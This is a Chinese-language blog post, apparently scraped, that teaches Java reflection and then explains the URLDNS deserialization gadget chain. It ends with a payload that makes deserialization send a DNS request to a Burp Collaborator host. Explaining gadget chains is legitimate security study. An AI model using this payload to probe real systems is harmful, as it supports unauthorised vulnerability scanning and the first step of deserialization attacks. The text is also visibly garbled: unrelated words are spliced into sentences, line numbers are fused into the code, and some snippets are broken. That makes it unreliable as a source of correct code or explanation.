实例解析Java反射,你会了吗?

  发布时间:2025-11-04 21:50:27   作者:玩站小弟   我要评论
反射是大多数语言里都必不不可少的组成部分,对象可以通过反射获取他的类,类可以通过反射拿到所有方法包括私有),拿到的方法可以调用,总之通过“反射”,我们可以将Java这种静态语言附加上动态特性。什么是反 。

反射是实例大多数语言里都必不不可少的组成部分,对象可以通过反射获取他的解析类,类可以通过反射拿到所有方法(包括私有),反射拿到的实例方法可以调用,总之通过“反射”,解析我们可以将Java这种静态语言附加上动态特性。反射

什么是实例反射

java的反射是指在运行状态中,对于任意一个类都能够知道这个类所有的解析属性和方法,并且对于任意一个对象。反射

基本形式 复制public void execute(String className,实例 String methodName) throws Exception {Class clazz = Class.forName(className);clazz.getMethod(methodName).invoke(clazz.newInstance());}1.2.3.4.

上面的例子中,我演示了几个在反射里极为重要的解析方法:获取类的方法: forName实例例化类对象的方法: newInstance获取函数的方法: getMethod执行函数的方法: invoke。

反射的反射作用:

让Java具有动态性,修改已有对象的实例属性,动态生成对象,解析动态调用方法,反射操作内部类和私有方法。

在反序列化漏洞中的应用

定制需要的免费源码下载对象,通过invoke调用除了同名函数以外的函数,通过class类创建对象,引入不能序列化的类。

java反射举例

此处引用白日梦组长的例子,具体讲解一下反射。

先写一个Person作为我们下面演示的原型类。

复制public class Person {private String name;public int age;public void act(){System.out.println("test");}

@Override

public String toString() {return "Persion{" +"name=" + name + +", age=" + age +};}public String getName() {return name;}public void setName(String name) {this.name = name;}public int getAge() {return age;}public void setAge(int age) {this.age = age;}public Person() {}public Person(String name, int age) {this.name = name;this.age = age;}}1.2.3.4.5.6.7.8.9.10.11.12.13.14.15.16.17.18.19.20.21.22.23.24.25.26.27.28.29.30.31.32.33.34.35.36.37.38.39. 获取原型类

使用forName方法:

复制Class c = Class.forName("Person");1.

在此也写一种基于ClassLoader的动态类加载方式。

复制this.getClass().getClassLoader().loadClass("Person");1. 从原型class里面实例化对象

利用构造函数实例化。

复制Constructor constructor = c.getConstructor(String.class,int.class);Person p1 = (Person) constructor.newInstance("abc",22);1.2.

我们来逐行写一下分析:

复制Constructor constructor = c.getConstructor(String.class,int.class);

这一行是为了获取原型类中重载的构造方法

public Person(String name, int age) {this.name = name;this.age = age;}

对构造方法进行传参实例化一个对象

Person p1 = (Person) constructor.newInstance("abc",22);我们可以打印一下p1看一下返回结果1.2.3.4.5.6.7.8.9.10.

获取类里面的属性 复制private String name;public int age;1.2.

public

复制Field ageField = c.getField("age");ageField.set(p1,11);1.2.

private

复制Field nameField = c.getDeclaredField("name");nameField.setAccessible(true);nameField.set(p1,"xinyuan");1.2.3.

获取类方法 复制Method actmethod = c.getMethod("act",String.class);actmethod.invoke(p1,"SKyMirror");1.2.

getMethod 与上面的获取构造函数类似,第一个参数是函数名,第二个是传参的类型。

invoke方法第一个传入对象,第二个是传入参数值。

利用URLDNS(反射)

这条链子算是反射的一个简单应用。

利用点

URL这个类重写了hashCode方法,导致在执行hashCode的时候,站群服务器此利用点不能命令执行,但是会请求DNS,所以被用来验证是否存在反序列化漏洞。

源码如下:

可以看到当我们调用一次hashCode方法,他会对传进去的URL对象发起请求,即我们如果去DNSLOG申请一个地址,根据访问来判断是否成功执行了hashCode方法进而判断是否执行了反序列化的操作。

URL这个类实现了java.io.Serializable,可以进行序列化的操作。

因此,在这里我们可以验证一下我们上面的想法。

链子

这个链子也比较短,比较简单,主要是利用HashMap来执行hashCode方法。

HashMap实现了Serializable可以序列化,此处注意反序列化时HashMap的readObject方法。

我们跟进一下hash方法:

key参数可控,key又是由反序列化的时候生成的。在HashMap中用put传入一个URL的对象,亿华云即可在反序列化的时候调用到此方法,从而触发整个链子。

有一点需要注意,我们在序列化的时候,进行的put传参会修改掉传入的URL对象的hashCode的值,因为hashCode值不等于-1,从而导致无法正常触发下面的方法,即无法触发DNS请求。

同时在正常put传参的时候会执行一次DNS请求,所以我们在put传参之前修改hashCode的值(不为-1就行),传参之后修改hashCode为-1,在反序列化的时候就可以正常执行了。

payload如下:

复制public static void main(String[] args) throws Exception{HashMap <URL,Integer> hashMap = new HashMap<>();URL u = new URL("http://i2loelbsvarbmabqf89qi9k88zep2e.burpcollaborator.net/");Class c = u.getClass();//

在进行put方法传参之前修改URL对象的hashCode值

Field hashcodeField = c.getDeclaredField("hashCode");hashcodeField.setAccessible(true);hashcodeField.set(u,123);hashMap.put(u,123);//修改URL对象的hashCode值为-1hashcodeField.set(u,-1);serialize(hashMap);}1.2.3.4.5.6.7.8.9.10.11.12.13.14.
  • Tag:

相关文章

  • Win7双屏显示教程(如何在Win7系统下实现双屏显示,提升工作效率)

    摘要:在现代工作中,一个显示器已经不能满足人们对工作空间的需求。通过使用Win7系统的双屏显示功能,我们可以将桌面空间扩展到第二个显示器上,从而提升工作效率。本文将向大家详细介绍如何设置...
    2025-11-04
  • 盘点常用语言HTTP请求客户端的惊艳框架

    GuzzleGuzzle是一个PHP HTTP客户端,可以轻松发送HTTP请求并轻松与Web服务集成。 它的代码非常优雅,同时它的功能也非常强大,它不仅支持同步请求,也支持异步请求,对于大型文件的下载
    2025-11-04
  • 低代码选型的7个关键点

    本文转自雷锋网,如需转载请至雷锋网官网申请授权。如今,市面上有关低代码的功能或产品平台十分繁杂,尽管说长远看对企业IT效率提升存在一定的优势性,但不同产品功能的差异性很大。正如任何一家厂商都在吹捧表示
    2025-11-04
  • 浅谈Python两大爬虫库—urllib库和requests库区别

    一、前言在使用Python爬虫时,需要模拟发起网络请求,主要用到的库有requests库和python内置的urllib库,一般建议使用requests,它是对urllib的再次封装。那它们两者有什么
    2025-11-04
  • 电脑更新CF错误代码的解决方法(掌握解决CF错误代码的技巧,让游戏畅快进行)

    摘要:在玩CF游戏时,我们有时候会遇到电脑更新CF出现错误代码的情况。这些错误代码可能会导致游戏无法正常进行,影响我们的游戏体验。然而,只要我们掌握一些解决错误代码的技巧,就能轻松应对这...
    2025-11-04
  • 用 Python 监控 NASA TV 直播画面

    本文分享一个名为"Spacestills"的开源程序,它可以用于查看 NASA TV 的直播画面静止帧)。演示地址:https://replit.com/@PaoloAmoroso/spacestil
    2025-11-04

最新评论